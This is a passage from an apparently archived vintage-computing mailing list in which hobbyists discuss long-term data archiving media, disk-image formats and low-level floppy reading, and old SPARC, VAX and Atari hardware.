Date: Sun Feb 27 18:53:14 2005 Subject: Archiving data In-Reply-To: <000531123346.202007ad@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > This isn't particularly new technology, but it'll probably never become > widely used in the consumer sector. Most end-consumers simply don't > think even a couple of years ahead; witness all the folks who transferred > home movies to videotape, which might last for a decade > or two at most, and then tossed the original film. The original film > would've been good for centuries if processed properly. ^^^^^^^^^^^^^^^^^^^^^ Competent archival processing is not easy to come by. Does the guy in the Fotomat booth know which box to check? Also, don't forget the dangers/fears relating to nitrate film, nor the decomposition of cellulose film. Binary data storage on film is an old traditional concept. Look at the rapid selector work by Emmanual Godberg, and the later copies by Vannevar Bush. Stone tablets seem especially promising for longevity. But there is also the issue of the society forgetting how to decode/read any media. Does anyone know any more of the data structures on Stonehenge, other than that it is hard-sectored, and that sand-blasting is required to erase a file? -- Grumpy Ol' Fred cisin@xenosoft.com From rachael_ at gmx.net Tue May 30 12:15:54 2000 From: rachael_ at gmx.net (Jacob Dahl Pind) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard Message-ID: <5281.185T2736T10954628rachael_@gmx.net> >On Fri, 26 May 2000 Vintage Computer GAWD! wrote: >> On Fri, 26 May 2000, John Foust wrote: >> >> > Below is the section from the manual that describes their >> > file format. >> > >> > Each sector written to the file is optionally preceded by an >> > 8-byte header record of the following form: >> > >> > >> > +------+------+------+------+------+------+----------+ >> > | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | >> > +------+------+------+------+------+------+----------+ >> > >> > ACYL Actual cylinder, 1 byte >> > ASID Actual side, 1 byte >> > LCYL Logical cylinder; cylinder as read, 1 byte >> > LSID Logical side; or side as read, 1 byte >> > LSEC Sector number as read, 1 byte >> > LLEN Length code as read, 1 byte >> > COUNT Byte count of data to follow, 2 bytes. If zero, >> > no data is contained in this sector. >> > >> > All sectors occurring on a side will be grouped together; >> > however, they will appear in the same order as they occurred on >> > the diskette. Therefore, if an 8 sector-per-track diskette were >> > scanned which had a physical interleave of 2:1, the sectors might >> > appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. >> > >> > After the last specified cylinder has been written to the DOS >> > file, AnaDisk returns to the Main Menu. >> >> This is a good start. The header should include a byte that contains a >> flag indicating the status of the sector (good, bad, etc). >This seems rather "high level" if you are wanting to preserve the exact disk >contents. Though it may be all you can do using a standard PC floppy >controller. >> What about odd formats? I take my experience from the Apple ][. You had >> stuff like half-tracks and quarter-tracks (the head was stepped half-way >> or half of half-way between tracks to store data), odd disk formats >> (custom sector sizes, custom sector layouts, etc.), synchronization >> between tracks (one copy protection scheme was to write a two tracks so >> that if a seek was done from one track to the other, a specific sector >> would be expected under the head as soon as it got to the next track). >I would like to be proved wrong, but there is no way to account for every >possible strange thing that could be done in terms of custom formats, >copy-protection etc., at least in a high level file format that doesn't just >sample the bits coming from the disk. >It would be possible to construct a device for archiving disks at a very low >level. I guess this would be similar to commercial floppy disk duplicators, >except writing data to a file instead of another floppy. The bit stream from >the disk would be sampled at a very high rate to allow for various tricks >that could be done. Or by modifying a floppy drive, the analogue signal from >the read head could be sampled. Tricks like "pulsing" the drive motor during >a write to vary rotation rate, changing the data rate mid-write (e.g. 2us vs >4us per bit cell), changing precompensation values mid write, using custom >non-MFM-or-GCR coding methods, reducing drive motor speed for some tracks >(thus writing long tracks which cannot be duplicated on an unmodified >drive/computer),... >[Long tracks are a common form of copy-protection on Amiga games.] >Such a low-level dump of raw data would at least preserve all (or almost all) >information on the disk. Successfully writing an exact duplicate back to >another floppy would depend on the capabilities of your disk controller. >Still, such as image file could be easily supported by emulators. Also bad >sectors would be preserved, meaning that recovery of most of the data from >them would be possible. >> The AnaDisk software doesn't seem to accomodate copy protected or >> custom-format disks. The standard will have to address these disks as >> well. >You may know that Amiga computers have very flexible floppy controller >hardware. There are several programs on the Amiga that are intended to >image/archive disks at a low level. >These read the raw bits from an entire track in one pass, and store that >(from index to index, plus some). This is independent of the coding method >used >(MFM, GCR or whatever), and of course preserves sector order, distance >between sectors etc. It should be possible to successfully archive almost any >PC floppy disk that way, protected or not. >I don't have many copy-protected PC floppies. Was any famously "evil" type of >disk-based copy-protection used for PC software? I would quite like to try >making a working backup of a disk like this. >The Catweasel disk controller hardware (available as an ISA card for PCs) is >capable of similar things. However due to its developer (stupidly IMO) >refusing to release details on how to program it directly, this would be of >no use; you're stuck with the provided drivers which are apparently pretty >poor. >- -- Mark -------------------------------------------------- = IF this computer is with us now... = =...It must have been meant to come live with us.= = (Belldandy - Goddess First class) = -------------------------------------------------- From rachael_ at gmx.net Wed May 31 11:36:39 2000 From: rachael_ at gmx.net (Jacob Dahl Pind) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard Message-ID: <1492.186T1961T10564057rachael_@gmx.net> >On Sun, May 28, 2000 at 10:38:55PM +0000, Mark wrote: >>The Catweasel disk controller hardware (available as an ISA card for PCs) is >>capable of similar things. However due to its developer (stupidly IMO) >>refusing to release details on how to program it directly, this would be of >>no use; you're stuck with the provided drivers which are apparently pretty >>poor. >I thought he had changed his mind about this? When I first talked to him >he seemed pretty paranoid, but I think he eventually realized that there's >not a big enough market for there to be even a point in stealing his idea >and competing with him (although, I sure hope he's done a PCI version by >the time ISA slots disappear entirely). I certainly remember that he >softened his position about this, but I don't know if that turned into a >manual. Then again, the CW/ISA board comes with no manual anyway! >Anyway I sorted out a lot of the Catweasel/ISA details, from disassembly and >the few sources that were available when I was doing it, it might be enough >to write a driver (I've gotten stuck with my own work on RX01 and RX23 style >drivers, I can read data enough of the time to think I'm really close but it >works less than half the time). >Here's what I've worked out on the I/O ports (default base is 320h): Oh, i might try some of this info I have a catweasel, sitting in my amiga thoug. I would love to find a way to access the wierd 1mb format of the old cbm 8250 drive. Regards Jacob Dahl Pind From chris at mainecoon.com Wed May 31 12:12:16 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:53:14 2005 Subject: Finds References: <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: <393547F0.D6F0F490@mainecoon.com> Mike Ford wrote: > Will 8 run on a 10, my wife wants a home system to play with instead of the > E250 she has at the office, and told me she needs at least a 5 (which is a > much newer system than a 10 or 20 right?). It's not age, it's architecture. The 4c family (1, 1+, 2, SLC/ELC/IPC/IPX) are not supported, but the 4m (5, 10 and 20 -- the 10 and 20 in both SuperSparc and HyperSparc) are supported. Saftey Hint: If upgrading from 7 to 8 *do not* blindly start with the "Solaris 8 Installation" CD -- it is the road to damntaion. Boot "Solaris 8 Software, 1 of 2" and you won't spend two hours questioning the parentage of the people responsible as I did. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From foo at siconic.com Wed May 31 11:34:32 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000 allisonp@world.std.com wrote: > > Maybe photographic film quality "paper tape" is the answer. The other > > solution may be photographic film floppy disks. I'd better get right off to > > my patent attorney and file. > > Mylar punched paper tape has a VERY long lifetime and is even human > readable (well sorta ;)). Everytime this talk of using punched mylar cards to archive data comes up I have to laugh. First of all, do we all realize how many cards it would take to store even one floppy disk? And then, where are all these cards going to go? Where does one store millions of punched cards? Who's going to pay for this? The trick is to apply the solution that makes most sense for today and keep looking for new mediums to transfer the archive to. The best medium I see now is redudndant living systems, and what I mean by that is having the archives stored on a hard drive somewhere (connected to the internet), preferably with RAID, and have mirrors of that site in multiple places. This will allow for universal and immediate access. As systems die, the archive is simply moved on to the next host. Of course the archives could also be dumped to CD ROM every N years. Then, when something comes along to imrpove on CD technology, we move to that. Anyway, it's a matter of feasibility and practicality. Suggesting solutions like punched cards makes no sense when you're dealing with gigabytes of data. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Wed May 31 11:36:33 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531123346.202007ad@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > I think mike was talking about storing data on photographic film, like > many of the microfiche data storage systems already in use, but intended > for direct computer reading. Many films will resolve 100 line pairs > per millimeter; this directly translates to about 3.2 MBytes per > square inch. Yes, but how long can we expect the film to last? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cisin at xenosoft.com Wed May 31 12:48:39 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:53:14 2005 Subject: Atari 800 keyboards In-Reply-To: <3934F04B.C286053E@cheta.net> Message-ID: That's one of the PRACTICAL uses of a keyboard actuator! Never mind trying to use a Selectric as a printer, the REAL use of a Dynatyper or KGS-80 is for copying megabytes of text to exercise a keyboard. -- Grumpy Ol' Fred cisin@xenosoft.com On Wed, 31 May 2000, Technoid Mutant wrote: > I know this may sound like a 'mad bomber' approach to a fix but I've > been an Atari hack for 17 years and really know the machines. > > The 800 and 1200xl machines have very robust keyboards that age well but > if not used in a long time will exhibit the behavior you are describing. > > The fix is to whack the heck out of every key on the keyboard many times > over. Something like 20+ keystrokes per key and don't spare it the > proper level of violence. Trust me and try it. Late model 800's and the > 1200xl had nearly identical keyboard construction. I've 'fixed' > numerous machines using this method with no failures. I think the > reason it works is it 'cleans' the contacts through repetition. > > > technoid@cheta.net > > > "Charles P. Hobbs (SoCalTip)" wrote: > > > I fired up my old Atari 800 this weekend, and it seems to work ok, > > except the keyboard is extremely flakey (some of the keys don't > > work too well unless you press really hard, and a few don't > > work at all). Any ideas? > From healyzh at aracnet.com Wed May 31 12:51:08 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:53:14 2005 Subject: Finds In-Reply-To: References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: >>A Sparcstation 10 -- Fantastic. Got to find something like that for >>Solaris 8. > >Will 8 run on a 10, my wife wants a home system to play with instead of the >E250 she has at the office, and told me she needs at least a 5 (which is a >much newer system than a 10 or 20 right?). I think it might be newer than the 10 or 20 family, but better? The question is what processor(s) does the 10 have. The 5 is a single processor system with a fixed processor that is either 70, 110, or 170Mhz (I think there is also anther speed in there somewhere). The 10's and 20's can have like three different CPU models in speeds running from 30-200Mhz. The Sun CPU models will let you go up to 2 CPU's, the ROSS modules will let you go up to 4 CPU's. I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 (although it has the 32MB S-Bus card in it for a total of 96MB :^). One real advantage of the 5/10/20's is they'll take a 100Mbit ethernet card, the earlier ones won't. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From jbmcb at hotmail.com Wed May 31 12:58:41 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:14 2005 Subject: Finds References: <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: <20000531175348.72063.qmail@hotmail.com> Yeah, a SPARC10 will run Solaris 8, but I wouldn't even consider running CDE on it. My friend runs a SPARCStation 5 (a newer machine) and says it's almost unusuable, he's gonna slide back to 2.6. I picked this stuff up from the University of Michigan Property Disposition, or "The Mad Wolverine's Computer Emporium" where they price equipment using some sort of roulette wheel as far as I can tell. Quadra 950? $300. RA-82 Hard drive? $1. They've got a boatload of older Cisco routers right now (IGS, AGS+) for around $50 if someone is in the area and needs one. And yes, my girlfriend knows what a SPARCStation 5 is, and can program PERL in her sleep. Ah, bliss.... Now if she only understood why a quarter of the basement is taken up by machines almost older than we are... ----- Original Message ----- From: "Dave McGuire" To: Sent: Wednesday, May 31, 2000 12:51 PM Subject: Re: Finds > On May 31, Mike Ford wrote: > > >A Sparcstation 10 -- Fantastic. Got to find something like that for > > >Solaris 8. > > > > Will 8 run on a 10, my wife wants a home system to play with instead of the > > E250 she has at the office, and told me she needs at least a 5 (which is a > > much newer system than a 10 or 20 right?). > > Newer than a 10, about the same age as a 20 as I recall... > > -Dave McGuire > From wilson at dbit.dbit.com Wed May 31 13:01:14 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:14 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <1492.186T1961T10564057rachael_@gmx.net>; from rachael_@gmx.net on Wed, May 31, 2000 at 05:36:39PM +0100 References: <1492.186T1961T10564057rachael_@gmx.net> Message-ID: <20000531140114.A20194@dbit.dbit.com> On Wed, May 31, 2000 at 05:36:39PM +0100, Jacob Dahl Pind wrote: >Oh, i might try some of this info I have a catweasel, sitting in my amiga >thoug. FYI, I read through my code and found that that spiel I posted earlier had the sense of the STEP bit backwards, it is of course 0 to assert it, since the control register is simply a latch which drives the FDC bus directly (through NON inverting drivers). Dunno about the Amiga Catweasel but I'll bet it's close to the same, you can't get much simpler than this. I'm having a lot of problems with what look like crazy numbers coming out of the Catweasel/ISA RAM every so often. In one case I caught a situation where, on two different reads of the same sector header, every interval (between transitions in the FDD head data) is identical, except for one which is 25% lower and results in those transitions being decoded as 001 instead of 0001, so the whole header comes out wrong. I sent Jens a note but he's too busy getting ready for a show to deal with it right now, but I really don't see how that can be fixed in software. It would be one thing if a long interval appeared as several short intervals due to extra apparent transitions caused by noise (software could filter that out, up to a point), but a single short interval seems more like a hiccup in the interval timer (which measures the time between transitions in the RDATA pin, in 14 or 28 MHz ticks). John Wilson D Bit From jbmcb at hotmail.com Wed May 31 13:02:25 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:14 2005 Subject: VMS media availability for VAX 8530 References: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> <4.3.2.7.2.20000531100030.02bac3c0@208.226.86.10> Message-ID: <20000531175733.30951.qmail@hotmail.com> This might help: http://vaxine.bitcon.no/section3.html#ss33 It tells you how to make a NetBSD boot tape in *nix and VMS. Maybe you can tar if= a disk image or something and tar=of onto a tape. Probably won't work but worth a shot. ----- Original Message ----- From: "Chuck McManis" To: Sent: Wednesday, May 31, 2000 1:04 PM Subject: Re: VMS media availability for VAX 8530 > At 10:11 AM 5/31/00 -0400, you wrote: > >I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, > >but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" > >media from the current OpenVMS distro on CD. > > An interesting question. I've VMS 4.x, 5.x, 6.x, and 7.x distributions on > various media but none on 9-trk. I tried to get one recently but it had > already been thrown away (youch!). So is it possible for VMS to _create_ > distribution media? Can you clone from one type to another? I could, > presumably create a 9 track tape with the save sets on them and then create > one with standalone backup so that you could boot standalone backup, and > then copy the save sets. Would that be sufficient? (Unfortunately my TU81+ > is out for the count, no doubt another one will tumble this way.) > > --Chuck > > From donm at cts.com Wed May 31 13:10:52 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:53:14 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000, McFadden, Mike wrote: > Archiving data has as many definitions as there are people interested in it. > At work we talk about archiving x-ray images on film for 7 years for adults > and 25 years for children. Physical loss of the data is more of a problem > than deterioration of the media. I have data on 12" optical packs that are > 5 years old and there are conversion/data retrieval services that will > retrieve my data but the cost is prohibitive. If I tell the powers in > charge (PIC) that it will cost them $5 to retrieve an image that was created > for $1 they think I am crazy. However if there is a lawyer making the > request and the risk is $10,000,000 then the PIC are happy to pay. > > Currently we may have for a single patient's cardiac angiography study about > 1,000 35mm images, about 1 GB. The system now uses CDROM-RW and puts the > images all on 1 CD using JPEG compression, they swear it will last 25 years. > I guess we will wait and see. > > The big issue for magnetic media archival is that it is an ongoing process > with very few retrievals ever actually requested. If every 5 years I need >From my experience, the retrievals of 'legacy' disk images is something above 'very few'. In about the past six years I have provided disks on about 385 individual orders, usually for multiple disks. Virtually all of this from TeleDisk images stored on a hard disk. - don > to refresh my magnetic data then I have a reoccurring cost. This seems to > be what many DP operations are planning. If I ask for lots of dollars for > saving old data most organizations will laugh. I'll bet when reality or a > lawsuit hits they will hope to beg forgiveness for loosing the data. > > Most media storage lifetimes are extrapolated from accelerated testing and > assume optimal humidity and temperature. If you want proven lifetimes then > there are only several known/proven methods. I know the government and the > Mormons, two separate entities, are storing data etched on iridium > substrates in human readable form. They talk about lifetimes of 1,000's of > years. Other examples are stone tablets, photographic film, and paper. I > think that we can eliminate stone tablets for storing magnetic data. Paper > seems to be cumbersome and is fairly fragile. That leaves photographic > methods. Photographic images from the Civil War still exist. Source code or > HEX dumps on photographic media may be the best way. > > Maybe photographic film quality "paper tape" is the answer. The other > solution may be photographic film floppy disks. I'd better get right off to > my patent attorney and file. > > I've started babbling. > Mike > > > From transit at lerctr.org Wed May 31 13:11:57 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:53:15 2005 Subject: Atari 800 keyboards In-Reply-To: <3934F04B.C286053E@cheta.net> Message-ID: On Wed, 31 May 2000, Technoid Mutant wrote: > The fix is to whack the heck out of every key on the keyboard many times > over. Something like 20+ keystrokes per key and don't spare it the > proper level of violence. Trust me and try it. Late model 800's and the > 1200xl had nearly identical keyboard construction. I've 'fixed' > numerous machines using this method with no failures. I think the > reason it works is it 'cleans' the contacts through repetition. > I've noticed the keyboard seems to be getting a bit better as I use it (a good strong stacatto touch helps too). Still want a 'backup' though... From jbmcb at hotmail.com Wed May 31 13:16:31 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff References: Message-ID: <20000531181140.34079.qmail@hotmail.com> First, there was the PDP/8 which came out in the sixties. It was a largish "Minicomputer" meaning it didn't fill a room like the IBM 360's, but you couldn't exactly toss it in a closet either. Then came the PDP/11, which was a bit smaller and 16-Bit in the seventies. Then came the VAX 11/750, Digital's first 32-Bit mainframe, in the late seventies/early eighties, and dominated the minicomputer market for quite a while. The first VAXes where large cabinet sized affairs, needing wacky 380V power mains and hard drives the size of a decent size car transmission. Then came the VAXStation 2000, which had almost all the power of a VAX 11/750 in a case the size of a largish shoebox. The home minicomputer was born. Through the eighties DEC still made the huge company-running VAX 7000's, 8000's, 9000's, and 10000's, but also made smaller workstation-style counterparts, the VAX 3100's, 4000's, MicroVAXes, VAXStations, and VAX-Servers. You can pick up a 3100 or 2000 for under $50 if you look hard. 4000's are nicer and run upwards $100. You'll want to get a VAXStation, as opposed to a MicroVAX, cause it supports a monitor, MicroVAX's are terminal controlled. Also, you'll need the special DEC monitor that goes with whatever station you are buying, you can't use a chincy PC compatable monitor with a VAXStation. Good luck and happy VAXing! ----- Original Message ----- From: "John Rollins" To: Sent: Sunday, May 28, 2000 3:24 PM Subject: VAX-11? and some C64 stuff > What fun! I got a book called "VAX-11 Assembly Language Programming." > What's a VAX-11? > And I also ended up with yet another printer, an older wedge-shaped > C-64 with a 1541 drive, and lots of programming stuff for the C64. > HesMon, HesKit, Pascal, Forth, and a pile of assembly stuff. > Eventually I get around to putting it all together and try to program > it, but right now I don't have the room or the time(damn! college is > hard...). > -- > > > /--------------------------------------------------\ > | http://jrollins.tripod.com/ rexstout@uswest.net | > | list admin for orham and ham-mac at www.qth.net | > | KD7BCY pdxham at www.egroups.com | > \--------------------------------------------------/ > From healyzh at aracnet.com Wed May 31 13:13:03 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: <20000531175348.72063.qmail@hotmail.com> References: <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: >Yeah, a SPARC10 will run Solaris 8, but I wouldn't even consider running CDE >on it. My friend runs a SPARCStation 5 (a newer machine) and says it's >almost unusuable, he's gonna slide back to 2.6. I picked this stuff up from I'm running a Sparc 2 w/96MB of RAM with 2.6 and CDE. It's usable, though a bit slow to start stuff up. Before I was able to get the extra 32MB in there though you could forget Netscrape, but with 96MB even Netscape's happy. Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to give it up for a state of the art single or dual processor PC my opinions of acceptable speed might be a little outside the norm :^) Remember for most things stability is more important that speed. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From allisonp at world.std.com Wed May 31 13:36:41 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531123346.202007ad@trailing-edge.com> Message-ID: > >Mylar punched paper tape has a VERY long lifetime and is even human > >readable (well sorta ;)). > > But not a particularly high density - 10 Bytes per square inch. True but technically simple. > I think mike was talking about storing data on photographic film, like > many of the microfiche data storage systems already in use, but intended > for direct computer reading. Many films will resolve 100 line pairs > per millimeter; this directly translates to about 3.2 MBytes per > square inch. This is something I can see as working well as films are well known and even partial optical failure can be reconstructed. It's possible to make it user simple with some thought as in 2d barcodes. Allison From allisonp at world.std.com Wed May 31 13:46:04 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > > Mylar punched paper tape has a VERY long lifetime and is even human > > readable (well sorta ;)). > > Everytime this talk of using punched mylar cards to archive data comes up > I have to laugh. First of all, do we all realize how many cards it would Read carefully tape is not cards. > take to store even one floppy disk? And then, where are all these cards > going to go? Where does one store millions of punched cards? Who's going > to pay for this? First, whose twisting your arm? It was a thought, and only that! > keep looking for new mediums to transfer the archive to. The best medium > I see now is redudndant living systems, and what I mean by that is having I already do that. > Of course the archives could also be dumped to CD ROM every N years. > Then, when something comes along to imrpove on CD technology, we move to > that. Just like mag tape only maybe less often. > Anyway, it's a matter of feasibility and practicality. Suggesting > solutions like punched cards makes no sense when you're dealing with > gigabytes of data. Again reread tape is not cards! the information density of tape FYI is higher than cards and laks the "ordering" problem if dropped. Also no rule says 10 punches per linear inch is required, you could go 16 wide and 20 per inch upping the denity fourfold. Or better yet optically print the image (density limits already mentiond are 100-1000x). Dream a bit, maybe a cheap idea will emerge. Allison From mcguire at neurotica.com Wed May 31 13:47:53 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:15 2005 Subject: Finds In-Reply-To: Re: Finds (Zane H. Healy) References: <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: <14645.24153.554761.420112@phaduka.neurotica.com> On May 31, Zane H. Healy wrote: > Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to > give it up for a state of the art single or dual processor PC my opinions > of acceptable speed might be a little outside the norm :^) > > Remember for most things stability is more important that speed. While I agree 100%, it would seem that the unfortunate proliferation of PeeCees have all but killed that mindset. I suspect that most of us fight very hard to keep it alive. But...on the term "acceptable speed"...isn't that completely subjective? I mean, what's acceptable to you might be too slow for Joe Blow, or uselessly fast for Jane Doe...Intel would have us believe that we all do the exact same thing with our computers, and that the only possible thing that we should find acceptable is *their* brand of high-performance...i.e. blindingly fast until you try to do more than one thing at a time, then it goes into the toilet. Man, if your RS/6000 does the job, and you like it, then keep it, and more power to you! -Dave McGuire From mcguire at neurotica.com Wed May 31 13:58:32 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Re: VAX-11? and some C64 stuff (Jason McBrien) References: <20000531181140.34079.qmail@hotmail.com> Message-ID: <14645.24792.416588.194832@phaduka.neurotica.com> On May 31, Jason McBrien wrote: > First, there was the PDP/8 which came out in the sixties. It was a largish > "Minicomputer" meaning it didn't fill a room like the IBM 360's, but you > couldn't exactly toss it in a closet either. Then came the PDP/11, which was > a bit smaller and 16-Bit in the seventies. Then came the VAX 11/750, > Digital's first 32-Bit mainframe, in the late seventies/early eighties, and > dominated the minicomputer market for quite a while. The first VAXes where > large cabinet sized affairs, needing wacky 380V power mains and hard drives > the size of a decent size car transmission. Then came the VAXStation 2000, > which had almost all the power of a VAX 11/750 in a case the size of a > largish shoebox. The home minicomputer was born. Through the eighties DEC > still made the huge company-running VAX 7000's, 8000's, 9000's, and 10000's, > but also made smaller workstation-style counterparts, the VAX 3100's, > 4000's, MicroVAXes, VAXStations, and VAX-Servers. You can pick up a 3100 or > 2000 for under $50 if you look hard. 4000's are nicer and run upwards $100. A few corrections here...the 11/750 was the second VAX model, not the first. The first was the 11/780. The VS2000 was approximately the performance of the 11/780, not the 11/750. The 7000, 9000, 1000, etc (not 8000) were mostly 90's machines, not 80's, if memory serves...some of which are still available for new purchases from DEC/Compuke, though not for much longer. > You'll want to get a VAXStation, as opposed to a MicroVAX, cause it supports > a monitor, MicroVAX's are terminal controlled. Also, you'll need the special ...depends completely on the intended application. Myself, I have 28 machines on my home network. Only ONE of them, the one I sit in front of every day, has a big tube and a framebuffer. The other ones are in the computer room making noise and belching out heat...where they most certainly DO NOT need a big 19" monitor taking up space, or a never-used framebuffer sucking up power and kernel code space. A single VT320 terminal with a very long serial cable sits in the side of the room on top of an UPS. When I need actual console access to the machines (which is very rare, only during some reboots, which are in themselves very rare here) I string the serial cable to the console port of the machine in question and I'm set. In another week or so, a terminal server will be connected to all the console ports, as well as the VT320 terminal. Then I won't even need to be downstairs (or in the house at all) to gain console access. -Dave McGuire From jbmcb at hotmail.com Wed May 31 14:08:37 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:53:15 2005 Subject: Finds References: <20000531142113.96331.qmail@hotmail.com><14645.17171.265685.828635@phaduka.neurotica.com> <14645.24153.554761.420112@phaduka.neurotica.com> Message-ID: <20000531190346.16843.qmail@hotmail.com> I've got several machines I use for different purposes. I've got a 700MHz Athlon with Windoze 'cause Unreal Tournament just sucks on a DECStation 5000 :) But the DEC makes a really nice webserver, and the SPARCStation 10 can run Netscape SuiteSpot servers OK but I wouldn't want to run Communicator on it. (Netscape is comparatively slow on my Ultra 10 at work) A place for everything and everything in it's place. ----- Original Message ----- From: "Dave McGuire" To: Sent: Wednesday, May 31, 2000 2:47 PM Subject: Re: Finds > On May 31, Zane H. Healy wrote: > > Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to > > give it up for a state of the art single or dual processor PC my opinions > > of acceptable speed might be a little outside the norm :^) > > > > Remember for most things stability is more important that speed. > > While I agree 100%, it would seem that the unfortunate proliferation > of PeeCees have all but killed that mindset. I suspect that most of > us fight very hard to keep it alive. > > But...on the term "acceptable speed"...isn't that completely > subjective? I mean, what's acceptable to you might be too slow for > Joe Blow, or uselessly fast for Jane Doe...Intel would have us believe > that we all do the exact same thing with our computers, and that the > only possible thing that we should find acceptable is *their* brand of > high-performance...i.e. blindingly fast until you try to do more than > one thing at a time, then it goes into the toilet. > > Man, if your RS/6000 does the job, and you like it, then keep it, > and more power to you! > > > -Dave McGuire > From dhquebbeman at theestopinalgroup.com Wed May 31 14:04:20 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD76@TEGNTSERVER> > >Mylar punched paper tape has a VERY long lifetime and is even human > >readable (well sorta ;)). > > What ever happened to the really high density laser punched > mylar/paper > tape that was being talked about so much a few years ago? Much higher > density than magnetic tape, and very very long archival life. What about that optical tape they used in the movie "Brainstorm"??? Somehow, I always thought they'd bought a failed technology rather than just mock something up. If it wasn't real, it was still as cool as Hell! *fantasy mode off* -doug q From aw288 at osfn.org Wed May 31 14:09:01 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > The trick is to apply the solution that makes most sense for today and > keep looking for new mediums to transfer the archive to. The best medium > I see now is redudndant living systems, and what I mean by that is having > the archives stored on a hard drive somewhere (connected to the internet), > preferably with RAID, and have mirrors of that site in multiple places. > This will allow for universal and immediate access. As systems die, the > archive is simply moved on to the next host. Its nice to see someone sees the big picture here. Safety in numbers, sort of. In a few years, a RAID capable of holding every bit (literally) of classic computer software will be peanuts. As new computers are deemed "classic" and more software will need archiving, the available RAIDs will grow to accomodate, maybe even faster than the stuff that needs storing. "NO WAY! There's too much out there!" you say. Well, my response is that a terabyte is a lot of stuff. Ten terabytes is even more stuff. Do I hear one hundred, or even the "p" word? I think you would run out of willpower to keep reading tapes before the RAIDs get full. Moving and syncing the archives properly is no big deal either - its a well documented, well known procedure, and it happens all the time, quite transparently. Every one on this list has gone thru the process - how many people noticed? The choice of medium is really unimportant, and as pointed out, kind of silly when one deals in even a few megabytes (how much mylar tape is that again?). Embrace this new technology - it really does work well. The old technology just doesn't cut the mustard anymore. William Donzelli aw288@osfn.org From dhquebbeman at theestopinalgroup.com Wed May 31 14:11:59 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 